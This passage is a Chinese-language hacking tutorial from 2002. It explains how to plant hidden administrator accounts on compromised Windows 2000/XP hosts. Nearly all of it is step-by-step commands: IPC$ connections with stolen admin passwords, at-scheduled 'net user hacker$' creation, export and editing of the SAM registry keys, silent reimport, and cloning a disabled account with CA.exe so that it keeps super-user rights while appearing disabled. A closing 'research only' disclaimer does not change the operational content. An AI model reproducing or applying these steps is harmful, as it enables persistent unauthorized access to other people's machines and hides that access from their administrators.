在這里將用at的命令,因為用at產生的計劃任務是以系統身份運行的,所以也用不到psu.exe程序。為了能夠使用at命令,肉雞必須開
有schedule的服務,如果沒有開啟,可用流光里帶的工具netsvc.exe或sc.exe來遠程啟動,當然其方法也可以,只要能啟動schedule服
務就行。
對于命令行方式,你可以采用各種連接方式,如用SQLexec連接MSSQL的1433端口,也可以用telnet服務,只要以你能得到一個cmdshell
,并且有運行at命令的權限就可以。
1、首先找到一臺肉雞,至于如何來找那不是我這里所說的話題。這里先假設找到一臺超級用戶為administrator,密碼為12345678的肉
雞,現在我們開始在命令行下遠程為它建立隱藏的超級用戶。(例子中的主機是我的局域網內的一臺主機,我將它的ip地址改為
13.50.97.238,,請勿在互聯網上對號入座,以免騷擾正常的ip地址。)
2、先與肉雞建立連接,命令為: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator
3、用at命令在肉雞上建立一個用戶(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠程啟動):at \\13.50.97.238 12:51
c:\winnt\system32\net.exe user hacker$ 1234 /add
建立這個加有$符的用戶名,是因為加有$符后,命令行下用net user將不顯示這個用戶,但在帳戶管理器卻能看到這個用戶。
4、同樣用at命令導出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下鍵值:at \\13.50.97.238 12:55
c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\
/e 是regedit.exe的參數,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\這個鍵的一定要以\結尾。必要的情況下可以用引
號將"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起來。
5、將肉雞上的hacker.reg下載到本機上用記事本打開進行編輯命令為:copy \\13.50.97.238\admin$\system32\hacker.reg
c:\hacker.reg
修改的方法圖形界中已經介紹過了,這里就不作介紹了。
6、再將編輯好的hacker.reg拷回肉雞上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg
7、查看肉雞時間:net time \\13.50.97.238 然后用at命令將用戶hacker$刪除:
at \\13.50.97.238 13:40 net user hacker$ /del
8、驗證hacker$是否刪除:用
net use \\13.50.97.238 /del 斷開與肉雞的連接。
net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帳戶hacker$與肉雞連接,不能連接說明已刪除。
9、再與肉雞建立連接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"
再取得肉雞時間,用at命令將拷回肉雞的hacker1.reg導入肉雞注冊表:
at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg
regedit.exe的參數/s是指安靜模式。
10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被刪除一樣。
11、再驗證用戶hacker$是否有讀、寫、刪的權限,如果不放心,你還可驗證是否能建立其它帳戶。
12、通過11可以斷定用戶hacker$具有超級用戶權限,因為最初我用at命令建立它的時候是一個普通用戶,而現在卻具有遠
程讀、寫、刪的權限。
三、如果肉雞沒有開3389終端服務,而我又不想用命令行,怎么辦?
這種情況下,你也可以用界面方式來遠程為肉雞建立隱藏的超級用戶。因為regedit.exe、regedt32.exe都有連接網絡注冊表的功能,
你可以用regedt32.exe來為遠程主機的注冊表項設置權限,用regedit.exe來編輯遠程注冊表。帳戶管理器也有一項連另一臺計算機的
功能,你可以用帳戶管理器為遠程主機建立和刪除帳戶。具體步聚與上面介紹的相似,我就不多說了,只它的速度實在是令人難以忍受
。
但是這里有兩個前提:1、先用net use \\肉雞ip\ipc$ "密碼" /user:"超級用戶名"來與遠程主機建立連接以后,才能用regedit.exe
regedt32.exe及帳戶管理器與遠程主機連接。
2、遠程主機必須開啟遠程注冊表服務(沒有開啟的話,你也可以遠程開啟,因為你有超級用戶的密碼了)。
四、利用被禁用的帳戶建立隱藏的超級用戶:
我們可以用肉雞上被禁止的用戶來建立隱藏的超組用戶.方法如下:
1.想辦法查看有哪些用戶被細心的管理員禁止,一般情況下,有些管理員出于安全考慮,通常會將guest禁用,當然了會禁用其它用戶
。在圖形界面下,非常容易,只要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在命令行下,我還沒有想到好的辦法,只
能在命令行下用命令:"net user 用戶名"一個一個來查看用戶是否被禁用。
2.在這里,我們假設用戶hacker被管理員禁用。首先,我先用小榕的超組用戶克隆程序CA.exe,將被禁用的用戶hacker 克隆成超級用
戶(克隆之后,被禁用的用戶hacker就會自動被激活了): CA.EXE \\肉雞ip administrator 超級用戶密碼 hacher hacher密碼。
3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC連接肉雞的msSQL的默認端口1433得到的shell都可以,這時你只要輸入命令
:
net user hacker /active:no 這樣用戶hacker就被禁用了(至少表面上是這樣的),當然你也可以將用戶hacher換成其它的被禁用的
用戶。
4.這時如果你在圖形界面下看帳戶管理器中的用戶時,會發現用戶hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的用戶連接
一下肉雞看看是否能連上?用命令:net user \\肉雞ip\ipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我
多次試驗,次次都能成功,而且還是超級用戶權限。
5.如果沒有cmdshell怎么辦?你可以我上面介紹的at命令來禁用用戶hacker;命令格式:at \\肉雞ip 時間 net user hacker
/active:no
6.原理:具體的高深的原理我也說不上來,我只能從最簡單的說。你先在圖形界面下在帳戶管理器中禁用一下超級用戶administrator
看看,肯定會彈出一對話框,并禁止你繼續禁用超級用戶administrator,同樣,因為在克隆時,hacker在注冊表的"F"鍵被超級用戶
administrator在注冊表的"F"鍵所替代,因而hacker就具有了超級用戶的權限了,但是由于hacker在注冊表內"C"健還是原來的"C"鍵,
所以hacker還是會被禁用,但是它的超級用戶權限卻不會被禁用,因此被禁用的用戶hacker還是可以連接肉雞,而且還具有超級用戶的
權限。具體我也說不明白,大家權且這么理解吧。
五、注意的幾點事項:
1、隱藏的超級用戶建立以后,在帳戶管理器中和命令行下均看不到這個用戶,但這個用戶卻存在。
2、隱藏的超級用戶建立以后,就不能再修改密碼了,因為一旦修改密碼,這個隱藏的超級用戶就會暴露在帳戶管理器中,而且不能刪
除。
3、如在本機上試驗時,最好用系統自帶的備份工具先備份好本機的“系統狀態”主要是注冊表的備份,因為本人做試驗時,曾出現過
帳戶管理器中看不到任何用戶,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。
4、本方法在2000/XP上測試通過,未在NT上測試。本方法僅供研究,請勿將本方法用于破壞上,利用本方法造成嚴重后果者,由使用者
負責,本人概不負責。
4、轉載時請保留作者信息,謝謝!
李天東2002年12月23日完稿于東東網絡實驗室